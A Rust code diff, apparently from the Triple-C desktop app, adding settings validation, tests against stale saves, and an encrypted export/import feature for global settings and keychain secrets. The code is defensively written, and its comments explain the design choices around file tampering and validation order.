/// holder of that copy still has `auth_bridge_enabled: true`, and the next
|
||||
/// unrelated save (closing a renamed terminal tab) posts it back. That save
|
||||
/// must not re-enable the bridge.
|
||||
#[test]
|
||||
fn a_stale_auth_bridge_flag_in_a_save_cannot_re_enable_a_disabled_bridge() {
|
||||
let (mut stored, mut payload) = stored_and_stale_payload();
|
||||
stored.auth_bridge_enabled = false;
|
||||
payload.auth_bridge_enabled = true;
|
||||
|
||||
restore_store_owned_fields(&mut payload, &stored);
|
||||
|
||||
assert!(
|
||||
!payload.auth_bridge_enabled,
|
||||
"a save must not be able to turn the bridge back on: the stored value is the user's"
|
||||
);
|
||||
// The edit the save was actually for still goes through.
|
||||
assert_eq!(
|
||||
payload.renamed_session_names.get("s1").map(String::as_str),
|
||||
Some("build")
|
||||
);
|
||||
}
|
||||
|
||||
/// The mirror image, and the reason the serde default going to `true`
|
||||
/// made this worse: a pre-existing record with no `auth_bridge_enabled`
|
||||
/// key reads as enabled, so the stale payload is `true` for every project
|
||||
/// that predates the field. A user who has *not* turned the bridge off is
|
||||
/// equally entitled to have the store's answer win.
|
||||
#[test]
|
||||
fn an_enabled_bridge_is_left_enabled_by_the_same_rule() {
|
||||
let (mut stored, mut payload) = stored_and_stale_payload();
|
||||
stored.auth_bridge_enabled = true;
|
||||
payload.auth_bridge_enabled = false;
|
||||
|
||||
restore_store_owned_fields(&mut payload, &stored);
|
||||
|
||||
assert!(payload.auth_bridge_enabled);
|
||||
}
|
||||
|
||||
/// The flag that was already restored, kept under test beside the one that
|
||||
/// was not — the two are owned by their setters for the same reason and
|
||||
/// must not drift apart again.
|
||||
#[test]
|
||||
fn a_stale_browser_view_flag_cannot_undo_the_panes_toggle_either() {
|
||||
let (mut stored, mut payload) = stored_and_stale_payload();
|
||||
stored.browser_view_enabled = true;
|
||||
payload.browser_view_enabled = false;
|
||||
|
||||
restore_store_owned_fields(&mut payload, &stored);
|
||||
|
||||
assert!(payload.browser_view_enabled);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_container_handle_status_and_creation_time_still_come_from_the_store() {
|
||||
let (stored, mut payload) = stored_and_stale_payload();
|
||||
|
||||
restore_store_owned_fields(&mut payload, &stored);
|
||||
|
||||
assert_eq!(payload.container_id.as_deref(), Some("abc123"));
|
||||
assert_eq!(payload.status, ProjectStatus::Running);
|
||||
assert_eq!(payload.created_at, stored.created_at);
|
||||
}
|
||||
|
||||
/// The marketplace commands own a project's installs and opt-outs; the
|
||||
/// Config tab's next unrelated save carries a stale copy of both.
|
||||
#[test]
|
||||
fn a_stale_save_cannot_undo_a_marketplace_install() {
|
||||
use crate::models::marketplace::{ItemKind, MarketplaceInstall, MarketplaceItemRef};
|
||||
let (mut stored, mut payload) = stored_and_stale_payload();
|
||||
stored.marketplace_installs = vec![MarketplaceInstall {
|
||||
marketplace_id: "m1".into(),
|
||||
kind: ItemKind::Agent,
|
||||
key: "code-reviewer".into(),
|
||||
commit: "a".repeat(40),
|
||||
}];
|
||||
stored.marketplace_disabled = vec![MarketplaceItemRef {
|
||||
marketplace_id: "m1".into(),
|
||||
kind: ItemKind::Hook,
|
||||
key: "h".into(),
|
||||
}];
|
||||
|
||||
restore_store_owned_fields(&mut payload, &stored);
|
||||
|
||||
assert_eq!(payload.marketplace_installs, stored.marketplace_installs);
|
||||
assert_eq!(payload.marketplace_disabled, stored.marketplace_disabled);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -10,19 +10,24 @@ pub async fn get_settings(state: State<'_, AppState>) -> Result<AppSettings, Str
|
||||
Ok(state.settings_store.get())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn update_settings(
|
||||
settings: AppSettings,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<AppSettings, String> {
|
||||
let before = state.settings_store.get();
|
||||
|
||||
/// Everything `update_settings` refuses a save over, run against the store's
|
||||
/// *current* value and the incoming one.
|
||||
///
|
||||
/// Pulled out so a caller that does other, harder-to-undo work alongside a
|
||||
/// settings save — `settings_export_commands::apply_settings_import`
|
||||
/// restores three keychain secrets in the same command — can run this
|
||||
/// *first* and bail before touching anything, rather than discovering the
|
||||
/// rejection only when `update_settings` itself runs partway through.
|
||||
pub fn validate_settings_update(
|
||||
before: &AppSettings,
|
||||
incoming: &AppSettings,
|
||||
) -> Result<(), String> {
|
||||
// The global half of the same rule the project half gets in
|
||||
// `update_project`: a global custom env var is merged into every project's
|
||||
// container environment, so an unchecked name here reaches all of them.
|
||||
crate::models::validate_env_vars_update(
|
||||
&before.global_custom_env_vars,
|
||||
&settings.global_custom_env_vars,
|
||||
&incoming.global_custom_env_vars,
|
||||
)?;
|
||||
|
||||
// The same for the two host paths this struct owns. `update_project`
|
||||
@@ -40,14 +45,49 @@ pub async fn update_settings(
|
||||
crate::commands::project_commands::validate_mounted_host_path(
|
||||
"SSH key path",
|
||||
before.default_ssh_key_path.as_deref(),
|
||||
settings.default_ssh_key_path.as_deref(),
|
||||
incoming.default_ssh_key_path.as_deref(),
|
||||
)?;
|
||||
crate::commands::project_commands::validate_mounted_host_path(
|
||||
"CA certificate path",
|
||||
before.ca_cert_path.as_deref(),
|
||||
settings.ca_cert_path.as_deref(),
|
||||
incoming.ca_cert_path.as_deref(),
|
||||
)?;
|
||||
|
||||
// Third host path this struct owns, same reasoning: any project with
|
||||
// `allow_docker_access` bind-mounts this path in as the Docker socket
|
||||
// (`project_commands.rs`'s container creation), so an unchecked value
|
||||
// here is a read-write bind mount of whatever it names into every such
|
||||
// project's container.
|
||||
crate::commands::project_commands::validate_mounted_host_path(
|
||||
"Docker socket path",
|
||||
before.docker_socket_path.as_deref(),
|
||||
incoming.docker_socket_path.as_deref(),
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Marketplace state is written only by the marketplace commands
|
||||
/// (`commands/marketplace_commands.rs`), each of which returns fresh settings.
|
||||
/// Every other settings save posts the frontend's copy back whole, and that
|
||||
/// copy can predate an install made a moment ago, so what is stored wins.
|
||||
/// `apply_settings_import` is the one caller that replaces it, explicitly.
|
||||
pub(crate) fn restore_marketplace_fields(incoming: &mut AppSettings, stored: &AppSettings) {
|
||||
incoming.marketplace_accounts = stored.marketplace_accounts.clone();
|
||||
incoming.marketplaces = stored.marketplaces.clone();
|
||||
incoming.global_marketplace_installs = stored.global_marketplace_installs.clone();
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn update_settings(
|
||||
mut settings: AppSettings,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<AppSettings, String> {
|
||||
let before = state.settings_store.get();
|
||||
|
||||
validate_settings_update(&before, &settings)?;
|
||||
restore_marketplace_fields(&mut settings, &before);
|
||||
|
||||
let saved = state.settings_store.update(settings)?;
|
||||
|
||||
// Persisting a setting is not the same as applying it. The gateway is the
|
||||
@@ -122,7 +162,10 @@ async fn reconcile_gateway(before: &GatewaySettings, after: &GatewaySettings) {
|
||||
GatewayAction::StopIfRunning => {
|
||||
log::info!("Model gateway disabled in settings — stopping the container");
|
||||
if let Err(e) = docker::gateway::stop_gateway_container().await {
|
||||
log::error!("Failed to stop the model gateway after it was disabled: {}", e);
|
||||
log::error!(
|
||||
"Failed to stop the model gateway after it was disabled: {}",
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
GatewayAction::RestartIfRunning => {
|
||||
@@ -138,10 +181,7 @@ async fn reconcile_gateway(before: &GatewaySettings, after: &GatewaySettings) {
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn pull_image(
|
||||
image_name: String,
|
||||
app_handle: tauri::AppHandle,
|
||||
) -> Result<(), String> {
|
||||
pub async fn pull_image(image_name: String, app_handle: tauri::AppHandle) -> Result<(), String> {
|
||||
use tauri::Emitter;
|
||||
docker::pull_image(&image_name, move |msg| {
|
||||
let _ = app_handle.emit("image-pull-progress", msg);
|
||||
@@ -334,7 +374,10 @@ mod tests {
|
||||
let before = enabled_gateway();
|
||||
let mut after = before.clone();
|
||||
after.enabled = false;
|
||||
assert_eq!(gateway_action(&before, &after), GatewayAction::StopIfRunning);
|
||||
assert_eq!(
|
||||
gateway_action(&before, &after),
|
||||
GatewayAction::StopIfRunning
|
||||
);
|
||||
// Still true when it was already off — a stray running container is
|
||||
// still a container that shouldn't be up.
|
||||
assert_eq!(gateway_action(&after, &after), GatewayAction::StopIfRunning);
|
||||
@@ -399,4 +442,28 @@ mod tests {
|
||||
});
|
||||
assert_eq!(gateway_action(&before, &half_typed), GatewayAction::None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_stale_settings_save_cannot_overwrite_marketplace_state() {
|
||||
use crate::models::marketplace::Marketplace;
|
||||
let mut stored = AppSettings::default();
|
||||
stored.marketplaces.push(Marketplace {
|
||||
id: "m1".into(),
|
||||
name: "Team".into(),
|
||||
url: "https://example.invalid/r.git".into(),
|
||||
branch: None,
|
||||
account_id: None,
|
||||
});
|
||||
// The frontend's copy predates the marketplace being added.
|
||||
let mut incoming = AppSettings::default();
|
||||
incoming.auto_check_updates = false;
|
||||
|
||||
restore_marketplace_fields(&mut incoming, &stored);
|
||||
|
||||
assert_eq!(incoming.marketplaces, stored.marketplaces);
|
||||
assert!(
|
||||
!incoming.auto_check_updates,
|
||||
"the edit the save was for still applies"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,830 @@
|
||||
//! Settings export/import — see triple-c#35.
|
||||
//!
|
||||
//! Exports the *host* environment (global `AppSettings` plus the global
|
||||
//! secrets kept in the OS keychain: the shared Claude Code OAuth login and
|
||||
//! the model gateway's two keys), encrypted with a user-chosen password —
|
||||
//! see `storage::settings_crypto` for the actual cryptography. Deliberately
|
||||
//! out of scope: per-project settings, per-project secrets, and anything
|
||||
//! living in a project's Docker volumes.
|
||||
//!
|
||||
//! **The save/open dialogs are opened from Rust**, the same pattern
|
||||
//! `file_commands.rs`'s `pick_save_path`/`pick_files_to_upload` already
|
||||
//! establish and document at length: a frontend-driven dialog handing Rust a
|
||||
//! host path string is the exact shape of bug that produced this app's past
|
||||
//! criticals, so the boundary here is drawn the same place. The frontend can
|
||||
//! ask for a picker; it cannot name a host path as an *input*. `preview_
|
||||
//! settings_import` resolves the chosen path itself and remembers it
|
||||
//! (`AppState::pending_settings_import`) so `apply_settings_import` re-reads
|
||||
//! the same file without the path ever crossing back over IPC.
|
||||
//!
|
||||
//! The *decrypted payload* is not cached between preview and apply — the
|
||||
//! password the frontend passes to each call is what it already held for
|
||||
//! the first, not a fresh secret extracted from the user, but nothing here
|
||||
//! keeps the plaintext itself — export/import secrets included — around for
|
||||
//! longer than one command's execution; `apply_settings_import` re-decrypts
|
||||
//! the file rather than reusing anything `preview_settings_import` computed.
|
||||
//!
|
||||
//! **This is new attack surface**: a settings export is a file one person
|
||||
//! can hand another and ask them to import, together with a password, and
|
||||
//! `apply_settings_import` applies whatever `AppSettings` it decrypts to
|
||||
//! wholesale — see the module doc on `models::settings_export` for the
|
||||
//! `web_terminal.access_token` carve-out a review of this feature found,
|
||||
//! and treat that as the standing example of the class of thing to keep
|
||||
//! checking for here, not a one-off fixed bug.
|
||||
|
||||
#[cfg(test)]
|
||||
use std::path::Path;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use sha2::{Digest, Sha256};
|
||||
use tauri::State;
|
||||
use tauri_plugin_dialog::DialogExt;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
use crate::models::marketplace::{AccountMethod, MarketplaceAccount};
|
||||
use crate::models::{
|
||||
AppSettings, ExportedSecrets, SettingsExportPayload, SettingsImportOutcome,
|
||||
SettingsImportPreview, SETTINGS_EXPORT_FORMAT_VERSION,
|
||||
};
|
||||
use crate::storage::{secure, settings_crypto};
|
||||
use crate::AppState;
|
||||
|
||||
/// What `preview_settings_import` pins so `apply_settings_import` can tell
|
||||
/// whether the file it's about to re-read is the same one the user actually
|
||||
/// saw a preview of. Confirming a preview is only meaningful if it's binding
|
||||
/// on what gets applied — without this, a file replaced on disk between the
|
||||
/// two calls (this app's own stated threat model is a file shared between
|
||||
/// people, which may sit in a synced or shared directory) would decrypt and
|
||||
/// apply silently different content than what the confirmation dialog showed.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct PendingSettingsImport {
|
||||
path: PathBuf,
|
||||
ciphertext_hash: [u8; 32],
|
||||
}
|
||||
|
||||
fn hash_ciphertext(data: &[u8]) -> [u8; 32] {
|
||||
Sha256::digest(data).into()
|
||||
}
|
||||
|
||||
const FILE_EXTENSION: &str = "triplec";
|
||||
|
||||
/// Enforced here, not only in the export modal: the frontend's minimum is a
|
||||
/// UX nudge, but `export_settings` is the actual boundary a weak password
|
||||
/// has to cross, and Argon2id's memory-hardness buys little against an
|
||||
/// attacker who can just try a three-character password directly.
|
||||
const MIN_PASSWORD_LEN: usize = 8;
|
||||
|
||||
fn suggested_export_name() -> String {
|
||||
// Timestamped so exporting more than once doesn't silently overwrite an
|
||||
// earlier file just because the save dialog defaults to the same name.
|
||||
format!(
|
||||
"triple-c-settings-{}.{}",
|
||||
chrono::Utc::now().format("%Y%m%d-%H%M%S"),
|
||||
FILE_EXTENSION
|
||||
)
|
||||
}
|
||||
|
||||
async fn pick_export_save_path(window: &tauri::Window, suggested: &str) -> Option<PathBuf> {
|
||||
let (tx, rx) = tokio::sync::oneshot::channel();
|
||||
window
|
||||
.dialog()
|
||||
.file()
|
||||
.set_parent(window)
|
||||
.set_title("Export Triple-C settings")
|
||||
.set_file_name(suggested)
|
||||
.add_filter("Triple-C settings export", &[FILE_EXTENSION])
|
||||
.save_file(move |picked| {
|
||||
let _ = tx.send(picked);
|
||||
});
|
||||
rx.await.ok().flatten().and_then(|p| p.into_path().ok())
|
||||
}
|
||||
|
||||
async fn pick_import_open_path(window: &tauri::Window) -> Option<PathBuf> {
|
||||
let (tx, rx) = tokio::sync::oneshot::channel();
|
||||
window
|
||||
.dialog()
|
||||
.file()
|
||||
.set_parent(window)
|
||||
.set_title("Import Triple-C settings")
|
||||
.add_filter("Triple-C settings export", &[FILE_EXTENSION])
|
||||
.pick_file(move |picked| {
|
||||
let _ = tx.send(picked);
|
||||
});
|
||||
rx.await.ok().flatten().and_then(|p| p.into_path().ok())
|
||||
}
|
||||
|
||||
/// Gather the current global secrets, and hand back the `AppSettings` to
|
||||
/// export with the web-terminal token blanked out of it — see the module
|
||||
/// doc comment on `models::settings_export` for why that field cannot
|
||||
/// travel through `settings` like the rest of this struct.
|
||||
///
|
||||
/// A missing keychain secret reads as `None` — a keychain read failure is
|
||||
/// treated as "nothing to export" for that one entry rather than aborting
|
||||
/// the whole export, matching how the rest of this app degrades a keychain
|
||||
/// error to "absent" (`has_claude_oauth_token`, `has_gateway_api_key`)
|
||||
/// rather than surfacing it as a hard failure.
|
||||
fn split_settings_and_secrets(current: AppSettings) -> (AppSettings, ExportedSecrets) {
|
||||
let mut settings = current;
|
||||
let web_terminal_access_token = settings.web_terminal.access_token.take();
|
||||
|
||||
let secrets = ExportedSecrets {
|
||||
claude_oauth_token: secure::get_claude_oauth_token().unwrap_or_default(),
|
||||
gateway_api_key: secure::get_gateway_api_key().unwrap_or_default(),
|
||||
gateway_master_key: secure::get_gateway_master_key().unwrap_or_default(),
|
||||
web_terminal_access_token,
|
||||
marketplace_account_tokens: exported_marketplace_tokens(
|
||||
&settings.marketplace_accounts,
|
||||
secure::get_marketplace_token,
|
||||
),
|
||||
};
|
||||
|
||||
(settings, secrets)
|
||||
}
|
||||
|
||||
/// The stored token of every marketplace account that has one, by account
|
||||
/// id. A `GhHost` account stores none (its token is asked of the host's `gh`
|
||||
/// each time), so it is not read. A missing or unreadable token is left out,
|
||||
/// like the other keychain secrets above.
|
||||
fn exported_marketplace_tokens(
|
||||
accounts: &[MarketplaceAccount],
|
||||
get: impl Fn(&str) -> Result<Option<String>, String>,
|
||||
) -> BTreeMap<String, String> {
|
||||
accounts
|
||||
.iter()
|
||||
.filter(|a| a.method != AccountMethod::GhHost)
|
||||
.filter_map(|a| {
|
||||
let token = non_blank(get(&a.id).unwrap_or_default())?;
|
||||
Some((a.id.clone(), token))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Write each imported marketplace token to the keychain, returning a
|
||||
/// warning (never containing the token) for each one that could not be.
|
||||
fn restore_marketplace_tokens(
|
||||
tokens: &BTreeMap<String, String>,
|
||||
mut store: impl FnMut(&str, &str) -> Result<(), String>,
|
||||
) -> Vec<String> {
|
||||
let mut warnings = Vec::new();
|
||||
for (account_id, token) in tokens {
|
||||
if let Err(e) = store(account_id, token) {
|
||||
log::warn!(
|
||||
"Settings import: could not restore the token of marketplace account {}: {}",
|
||||
account_id,
|
||||
e
|
||||
);
|
||||
warnings.push(format!(
|
||||
"Could not restore a marketplace account's token ({}); sign that account in again.",
|
||||
e
|
||||
));
|
||||
}
|
||||
}
|
||||
warnings
|
||||
}
|
||||
|
||||
/// Export the current global settings and secrets to a password-encrypted
|
||||
/// file. `Ok(false)` means the save dialog was dismissed — not an error, and
|
||||
/// deliberately distinguishable from one so the frontend shows nothing
|
||||
/// rather than a "failed" toast for a plain cancel.
|
||||
#[tauri::command]
|
||||
pub async fn export_settings(
|
||||
password: String,
|
||||
window: tauri::Window,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<bool, String> {
|
||||
// `.chars().count()` — Unicode scalar values, not bytes — to stay as
|
||||
// close as this pair of languages allows to the frontend's `.length`
|
||||
// check (UTF-16 code units); the two only diverge on astral-plane
|
||||
// characters, which no reasonable password touches.
|
||||
if password.chars().count() < MIN_PASSWORD_LEN {
|
||||
return Err(format!(
|
||||
"Use a password of at least {} characters.",
|
||||
MIN_PASSWORD_LEN
|
||||
));
|
||||
}
|
||||
|
||||
let Some(dest) = pick_export_save_path(&window, &suggested_export_name()).await else {
|
||||
return Ok(false);
|
||||
};
|
||||
|
||||
let (settings, secrets) = split_settings_and_secrets(state.settings_store.get());
|
||||
if secrets.is_empty() {
|
||||
log::info!("Exporting settings with no global secrets configured on this machine");
|
||||
}
|
||||
|
||||
let payload = SettingsExportPayload {
|
||||
format_version: SETTINGS_EXPORT_FORMAT_VERSION,
|
||||
exported_at: chrono::Utc::now().to_rfc3339(),
|
||||
app_version: env!("CARGO_PKG_VERSION").to_string(),
|
||||
settings,
|
||||
secrets,
|
||||
};
|
||||
|
||||
let plaintext = Zeroizing::new(
|
||||
serde_json::to_vec(&payload)
|
||||
.map_err(|e| format!("Failed to prepare settings for export: {}", e))?,
|
||||
);
|
||||
let encrypted = settings_crypto::encrypt(&plaintext, &password)?;
|
||||
|
||||
std::fs::write(&dest, &encrypted).map_err(|e| format!("Failed to write export file: {}", e))?;
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Open a file picker, decrypt the chosen file with `password`, and return a
|
||||
/// preview (counts and presence flags only — never a secret value) for a
|
||||
/// confirmation UI. `Ok(None)` means the picker was dismissed.
|
||||
///
|
||||
/// Remembers the resolved path *and a hash of the file's ciphertext* in
|
||||
/// `AppState::pending_settings_import` for `apply_settings_import` to check
|
||||
/// against — does **not** remember the decrypted payload itself, so the
|
||||
/// password must be supplied again to actually apply it — seeing the preview
|
||||
/// is not the same as committing to it. The hash exists so it also can't be
|
||||
/// swapped out from under that commitment: `apply_settings_import` refuses to
|
||||
/// proceed if the file on disk no longer matches what was just previewed.
|
||||
#[tauri::command]
|
||||
pub async fn preview_settings_import(
|
||||
password: String,
|
||||
window: tauri::Window,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<Option<SettingsImportPreview>, String> {
|
||||
if password.is_empty() {
|
||||
return Err("A password is required to open a settings export.".to_string());
|
||||
}
|
||||
|
||||
let Some(path) = pick_import_open_path(&window).await else {
|
||||
return Ok(None);
|
||||
};
|
||||
|
||||
let encrypted = std::fs::read(&path).map_err(|e| format!("Failed to read export file: {}", e))?;
|
||||
let payload = read_and_decrypt_bytes(&encrypted, &password)?;
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
|
||||
*state.pending_settings_import.lock().await = Some(PendingSettingsImport {
|
||||
path,
|
||||
ciphertext_hash: hash_ciphertext(&encrypted),
|
||||
});
|
||||
|
||||
Ok(Some(preview))
|
||||
}
|
||||
|
||||
/// Apply the import a prior `preview_settings_import` call resolved a path
|
||||
/// for. Fails if no preview is pending — this is not a general "decrypt and
|
||||
/// apply this file" entry point, deliberately: seeing the preview first is
|
||||
/// required, not just encouraged, since it is the only place a user is told
|
||||
/// what an import is about to touch before it touches it. That requirement
|
||||
/// is only real if the file can't change out from under it, so this also
|
||||
/// refuses to proceed if the file's ciphertext no longer matches the hash
|
||||
/// `preview_settings_import` pinned — a file replaced on disk between the
|
||||
/// two calls (this feature's own threat model is a file shared between
|
||||
/// people, which may sit in a synced or shared directory) must not be able
|
||||
/// to apply silently different content than what the confirmation dialog
|
||||
/// showed.
|
||||
///
|
||||
/// Global settings are replaced wholesale — an import is "restore this
|
||||
/// environment," not a field-by-field merge. Global secrets are handled
|
||||
/// differently and on purpose: **only secrets actually present in the
|
||||
/// import are written**; a secret the export doesn't have is left alone on
|
||||
/// this machine rather than cleared, because an absent secret in the export
|
||||
/// means "the source machine never had this configured," not "delete this
|
||||
/// on import." A user who wants to clear a secret already has dedicated UI
|
||||
/// for that (signing out of shared auth, clearing the gateway key).
|
||||
///
|
||||
/// Order matters here, twice over.
|
||||
///
|
||||
/// First: the imported settings are **validated before any secret is
|
||||
/// written**, using the same checks `update_settings` itself runs
|
||||
/// (`settings_commands::validate_settings_update`). Restoring a secret is
|
||||
/// hard to undo unnoticed — a stale env-var-name rejection or a disallowed
|
||||
/// host path used to be caught only when `update_settings` ran, by which
|
||||
/// point the three keychain secrets below were already overwritten with the
|
||||
/// file's, each with a fresh rotation id, silently flagging every project
|
||||
/// container for recreation — while the error the user saw talked only
|
||||
/// about the rejected setting and said nothing about the credentials that
|
||||
/// had already moved. Failing this check first makes a rejected import
|
||||
/// leave nothing touched, matching what "the import failed" is supposed to
|
||||
/// mean.
|
||||
///
|
||||
/// Second, among the things that *do* get written: secrets are restored
|
||||
/// **before** the settings replace runs (which is what triggers
|
||||
/// `reconcile_gateway`), so a gateway recreation that replace provokes sees
|
||||
/// the final key material rather than racing it — restoring the other way
|
||||
/// round left a real window where the running gateway and the keychain
|
||||
/// briefly disagreed. A gateway *secret* alone (same shape, new key) is
|
||||
/// invisible to `reconcile_gateway`'s shape comparison, so this additionally
|
||||
/// nudges a running gateway container to recreate itself whenever a secret
|
||||
/// this import carried was actually written — otherwise the running
|
||||
/// container keeps serving the old key material indefinitely while every
|
||||
/// project container is handed the new one.
|
||||
///
|
||||
/// A keychain write failing is reported back rather than only logged: an
|
||||
/// import that silently restores two of three secrets but not the third
|
||||
/// must not read as unqualified success.
|
||||
///
|
||||
/// The pending import is only cleared on success. A failure here (rejected
|
||||
/// by the validation above, a stale-file mismatch, or some other error)
|
||||
/// leaves it pending so the frontend can let the user retry `apply` without
|
||||
/// making them pick the file and re-enter the password again — the
|
||||
/// preview's job was confirming *what* to import, not spending the one
|
||||
/// attempt at applying it.
|
||||
#[tauri::command]
|
||||
pub async fn apply_settings_import(
|
||||
password: String,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<SettingsImportOutcome, String> {
|
||||
if password.is_empty() {
|
||||
return Err("A password is required to import settings.".to_string());
|
||||
}
|
||||
|
||||
let pending = state
|
||||
.pending_settings_import
|
||||
.lock()
|
||||
.await
|
||||
.clone()
|
||||
.ok_or_else(|| "No import is pending — choose a file first.".to_string())?;
|
||||
|
||||
let encrypted = std::fs::read(&pending.path)
|
||||
.map_err(|e| format!("Failed to read export file: {}", e))?;
|
||||
if hash_ciphertext(&encrypted) != pending.ciphertext_hash {
|
||||
return Err(
|
||||
"This file changed since you reviewed it — choose it again to see an up-to-date preview."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
let payload = read_and_decrypt_bytes(&encrypted, &password)?;
|
||||
|
||||
let current = state.settings_store.get();
|
||||
|
||||
// The web-terminal token lives inside `AppSettings` itself rather than
|
||||
// the keychain, so "leave an absent secret alone" has to be done by
|
||||
// hand here: carry the destination's current token forward when the
|
||||
// import doesn't have one, instead of letting the wholesale replace
|
||||
// below blank it (every export writes `None` there — see
|
||||
// `split_settings_and_secrets`).
|
||||
let mut settings = payload.settings;
|
||||
settings.web_terminal.access_token = non_blank(payload.secrets.web_terminal_access_token)
|
||||
.or_else(|| current.web_terminal.access_token.clone());
|
||||
|
||||
crate::commands::settings_commands::validate_settings_update(¤t, &settings)?;
|
||||
// The marketplace half, with the commands' own rules and normalisation,
|
||||
// also before anything is written (pre-flight F10).
|
||||
let marketplace_tokens = payload.secrets.marketplace_account_tokens;
|
||||
crate::commands::marketplace_commands::validate_imported_marketplace_state(
|
||||
&mut settings,
|
||||
&marketplace_tokens,
|
||||
)?;
|
||||
|
||||
let mut secret_restore_warnings = Vec::new();
|
||||
let mut gateway_secret_changed = false;
|
||||
|
||||
if let Some(token) = non_blank(payload.secrets.claude_oauth_token) {
|
||||
if let Err(e) = secure::store_claude_oauth_token(&token) {
|
||||
log::warn!(
|
||||
"Settings import: could not restore the shared Claude login: {}",
|
||||
e
|
||||
);
|
||||
secret_restore_warnings
|
||||
.push(format!("Could not restore your shared Claude login: {}", e));
|
||||
}
|
||||
}
|
||||
if let Some(key) = non_blank(payload.secrets.gateway_api_key) {
|
||||
match secure::store_gateway_api_key(&key) {
|
||||
Ok(()) => gateway_secret_changed = true,
|
||||
Err(e) => {
|
||||
log::warn!(
|
||||
"Settings import: could not restore the gateway provider API key: {}",
|
||||
e
|
||||
);
|
||||
secret_restore_warnings.push(format!(
|
||||
"Could not restore the gateway provider API key: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Some(key) = non_blank(payload.secrets.gateway_master_key) {
|
||||
match secure::store_gateway_master_key(&key) {
|
||||
Ok(()) => gateway_secret_changed = true,
|
||||
Err(e) => {
|
||||
log::warn!(
|
||||
"Settings import: could not restore the gateway master key: {}",
|
||||
e
|
||||
);
|
||||
secret_restore_warnings
|
||||
.push(format!("Could not restore the gateway master key: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
secret_restore_warnings.extend(restore_marketplace_tokens(
|
||||
&marketplace_tokens,
|
||||
secure::store_marketplace_token,
|
||||
));
|
||||
|
||||
let imported_marketplace = (
|
||||
settings.marketplace_accounts.clone(),
|
||||
settings.marketplaces.clone(),
|
||||
settings.global_marketplace_installs.clone(),
|
||||
);
|
||||
let saved =
|
||||
crate::commands::settings_commands::update_settings(settings, state.clone()).await?;
|
||||
// `update_settings` keeps marketplace state store-owned. An import is the
|
||||
// one caller entitled to replace it wholesale.
|
||||
let saved = {
|
||||
let mut s = saved;
|
||||
(
|
||||
s.marketplace_accounts,
|
||||
s.marketplaces,
|
||||
s.global_marketplace_installs,
|
||||
) = imported_marketplace;
|
||||
state.settings_store.update(s)?
|
||||
};
|
||||
// Caches of marketplaces the import dropped are dead weight now, and
|
||||
// the pins must match the imported installs.
|
||||
use crate::commands::marketplace_commands as mc;
|
||||
for id in mc::dropped_marketplace_ids(¤t, &saved) {
|
||||
mc::remove_cache(&state, &id).await;
|
||||
}
|
||||
mc::refresh_pins(&state).await;
|
||||
|
||||
// `reconcile_gateway` (inside `update_settings`) only reacts to a changed
|
||||
// *shape* — port, provider, base URL, models — because that's what's
|
||||
// rendered into the container's config. A secret changing with the shape
|
||||
// held constant is invisible to it, so a running gateway container would
|
||||
// otherwise keep serving the old key material forever after an import
|
||||
// that restored a new one, while `docker::gateway`'s own fingerprint
|
||||
// (which does include the secret rotation id) means the *next* unrelated
|
||||
// settings save would suddenly and confusingly recreate it instead.
|
||||
if gateway_secret_changed && saved.gateway.enabled {
|
||||
match crate::docker::gateway::gateway_container_presence().await {
|
||||
Ok((true, true)) => {
|
||||
if let Err(e) = crate::docker::gateway::ensure_gateway_running(&saved.gateway).await
|
||||
{
|
||||
log::error!(
|
||||
"Settings import: could not apply the restored gateway credentials to the running gateway container: {}",
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
Ok(_) => {}
|
||||
Err(e) => log::debug!("Settings import: gateway reconcile skipped ({})", e),
|
||||
}
|
||||
}
|
||||
|
||||
state.pending_settings_import.lock().await.take();
|
||||
|
||||
Ok(SettingsImportOutcome {
|
||||
settings: saved,
|
||||
secret_restore_warnings,
|
||||
})
|
||||
}
|
||||
|
||||
fn non_blank(value: Option<String>) -> Option<String> {
|
||||
value.filter(|v| !v.trim().is_empty())
|
||||
}
|
||||
|
||||
/// Only the field `read_and_decrypt` needs before deciding whether the rest
|
||||
/// of the payload is even worth attempting to parse.
|
||||
#[derive(serde::Deserialize)]
|
||||
struct FormatVersionProbe {
|
||||
format_version: u32,
|
||||
}
|
||||
|
||||
/// Read and decrypt an export file at `path`, then parse it — see
|
||||
/// `read_and_decrypt_bytes` for why the format-version check runs before the
|
||||
/// full parse. Every real caller already has the file's bytes in hand by the
|
||||
/// time it needs this (`preview_settings_import`/`apply_settings_import`
|
||||
/// both hash the ciphertext first) and calls `read_and_decrypt_bytes`
|
||||
/// directly to avoid reading the file twice; this path-based wrapper only
|
||||
/// exists now for tests that don't need that.
|
||||
#[cfg(test)]
|
||||
fn read_and_decrypt(path: &Path, password: &str) -> Result<SettingsExportPayload, String> {
|
||||
let encrypted =
|
||||
std::fs::read(path).map_err(|e| format!("Failed to read export file: {}", e))?;
|
||||
read_and_decrypt_bytes(&encrypted, password)
|
||||
}
|
||||
|
||||
/// Decrypt and parse an already-read export file's bytes, checking the
|
||||
/// format version **before** attempting to deserialize the full payload.
|
